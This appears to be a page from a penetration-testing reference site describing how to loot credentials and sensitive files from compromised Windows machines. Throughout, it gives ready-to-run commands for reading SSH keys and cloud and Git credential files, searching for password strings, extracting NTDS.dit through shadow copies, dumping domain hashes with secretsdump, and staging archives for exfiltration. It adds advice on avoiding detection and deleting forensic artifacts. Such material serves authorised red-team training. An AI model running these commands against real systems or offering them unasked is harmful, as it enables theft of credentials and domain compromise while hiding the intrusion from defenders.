Skip to content
HackIndex.io

Windows File and Data Loot Collection

6 min read Created Apr 4, 2026 Last updated Jul 14, 2026

After gaining elevated access, collect high-value files before moving laterally or establishing persistence. Focus on credentials, SSH keys, configuration files, databases, and sensitive documents. Work quickly: prioritise high-signal sources over exhaustive searches.

High-value targets to prioritise:

  • SSH private keys (id_rsa) for direct lateral movement to other hosts

  • KeePass databases (.kdbx) containing full credential stores

  • AWS/Azure/GCP credentials with IAM permissions beyond the local machine

  • Git credential files with cleartext tokens or passwords for repositories

  • Configuration files with database connection strings or API keys

If you find id_rsa, check authorized_keys in the same directory to understand which hosts accept that key. KeePass databases require the master password to open, but stage them anyway. The password is often reused or stored nearby. AWS credentials under .aws/credentials may carry IAM permissions far beyond the local machine. Run aws sts get-caller-identity from your attacker box to check the effective role.

Interesting file locations

Start with known locations before running broad searches. These paths reliably contain credentials and sensitive data across most Windows environments. The recent files shell command shows what the user accessed last. This reveals active work and often points to paths you have not checked yet.

PS C:\Users\Guest\Desktop> # SSH keys
PS C:\Users\Guest\Desktop> dir /s /b C:\Users\ | findstr "\.ssh"
PS C:\Users\Guest\Desktop> dir C:\Users\*\.ssh\
type C:\Users\$env:USERNAME\.ssh\id_rsa
 
PS C:\Users\Guest\Desktop> # KeePass databases
PS C:\Users\Guest\Desktop> dir /s /b C:\ | findstr /si ".kdbx"
 
PS C:\Users\Guest\Desktop> # VPN and remote access configs
PS C:\Users\Guest\Desktop> dir /s /b C:\ | findstr /si ".ovpn .rdp .pcf"
 
PS C:\Users\Guest\Desktop> # Git credential store
PS C:\Users\Guest\Desktop> type C:\Users\$env:USERNAME\.git-credentials
PS C:\Users\Guest\Desktop> type C:\Users\$env:USERNAME\AppData\Roaming\GitHub\credentials
 
PS C:\Users\Guest\Desktop> # AWS and cloud credentials
PS C:\Users\Guest\Desktop> dir C:\Users\$env:USERNAME\.aws\
type C:\Users\$env:USERNAME\.aws\credentials
 
PS C:\Users\Guest\Desktop> # Recent files (opens last accessed documents)
PS C:\Users\Guest\Desktop> (New-Object -com shell.application).NameSpace('shell:recent').items() | Select-Object Name, Path

Searching for sensitive files

When targeted searches come up empty, run broader pattern-based searches. Keep searches focused on user-controlled directories to avoid generating excessive noise and slow results.

The findstr output shows matching filenames only when using /m. Remove /m to see the matching lines and their content. In the PowerShell output, check the Line column. Credentials hardcoded in .ps1 or .bat files are a common find in scripted environments. Recently modified files show active work. A file modified in the last seven days is more likely to carry credentials still in use. Recursive searches across C:\ are loud. They generate heavy disk I/O and can trigger heuristic AV alerts. Limit recursive content searches to C:\Users, C:\inetpub, and other known writable paths to stay quieter.

PS C:\Users\Guest\Desktop> # Search for files containing password strings
PS C:\Users\Guest\Desktop> findstr /s /i /m "password" C:\Users\*.txt C:\Users\*.xml C:\Users\*.ini C:\Users\*.ps1 C:\Users\*.bat
 
PS C:\Users\Guest\Desktop> # Search by filename patterns
PS C:\Users\Guest\Desktop> dir /s /b C:\Users\ | findstr /si "pass cred secret token key config"
 
PS C:\Users\Guest\Desktop> # PowerShell recursive search with content matching
PS C:\Users\Guest\Desktop> Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.ps1,*.bat,*.config -ErrorAction SilentlyContinue | Select-String -Pattern 'password|passwd|credential|secret' -CaseSensitive:$false | Select-Object Path, LineNumber, Line
 
PS C:\Users\Guest\Desktop> # Find recently modified files (last 7 days)
PS C:\Users\Guest\Desktop> Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} | Select-Object FullName, LastWriteTime | Sort-Object LastWriteTime -Descending | Select-Object -First 50

Active Directory database (NTDS.dit)

On domain controllers, NTDS.dit contains every domain user's password hash. This is the crown jewel of an AD engagement. The file is locked by the AD DS service while running, so it requires extraction via VSS (Volume Shadow Copy).

You need both NTDS.dit and the SYSTEM hive. The SYSTEM hive holds the boot key that decrypts the database. Secretsdump cannot parse hashes without it. After copying both files to your attacker box, secretsdump outputs hashes in username:rid:lmhash:nthash format. The NT hash is the usable part. Pass it directly with Pass-the-Hash without cracking, or crack offline with hashcat mode 1000. NTDS.dit extraction requires Domain Admins or Backup Operators membership. If the VSS creation command fails, verify your token has SeBackupPrivilege. Some environments disable VSS via policy. In that case, use ntdsutil with the activate instance ntds and ifm create full subcommands to produce a clean copy. Creating a shadow copy generates Windows event 8222 and the subsequent file copies generate events in the shadow volume. This is noisy on a monitored DC.

PS C:\Users\Guest\Desktop> # Create a shadow copy
PS C:\Users\Guest\Desktop> vssadmin create shadow /for=C:\
PS C:\Users\Guest\Desktop> # List shadow copies to get the shadow copy path
PS C:\Users\Guest\Desktop> vssadmin list shadows
 
PS C:\Users\Guest\Desktop> # Copy NTDS.dit and SYSTEM from shadow copy
PS C:\Users\Guest\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit
PS C:\Users\Guest\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\system.hiv
 
PS C:\Users\Guest\Desktop> # Cleanup shadow copy after extraction
PS C:\Users\Guest\Desktop> vssadmin delete shadows /shadow=<shadow-copy-id> /quiet
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -ntds ntds.dit -system system.hiv -hashes lmhash:nthash LOCAL
 
┌──(kali㉿kali)-[~]
└─$ # Output all hashes to file
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -ntds ntds.dit -system system.hiv LOCAL > domain_hashes.txt

Staging and compressing for transfer

Before exfiltrating multiple files, stage and compress them into a single archive. Smaller transfers are faster and generate fewer connection events.

C:\Windows\Temp is a reliable staging location but some EDR products monitor it. User temp directories or existing directories with many files are quieter options. After the transfer, delete the archive. Also delete any shadow copies you created during NTDS.dit extraction. Shadow copies persist across reboots and leave an obvious artifact if someone reviews the DC.

PS C:\Users\Guest\Desktop> # Compress with PowerShell (built-in, no tools needed)
PS C:\Users\Guest\Desktop> Compress-Archive -Path C:\Windows\Temp\loot\ -DestinationPath C:\Windows\Temp\loot.zip
 
PS C:\Users\Guest\Desktop> # Add files to existing archive
PS C:\Users\Guest\Desktop> Compress-Archive -Path C:\Windows\Temp\sam.hiv -Update -DestinationPath C:\Windows\Temp\loot.zip
 
PS C:\Users\Guest\Desktop> # Compress single file
PS C:\Users\Guest\Desktop> Compress-Archive -Path C:\Windows\Temp\ntds.dit -DestinationPath C:\Windows\Temp\ntds.zip

Once files are staged and compressed, transfer them to your attack box. For all transfer methods see Transferring Files to and from Windows. For how to use extracted hashes for lateral movement see Pass-the-Hash and Pass-the-Ticket.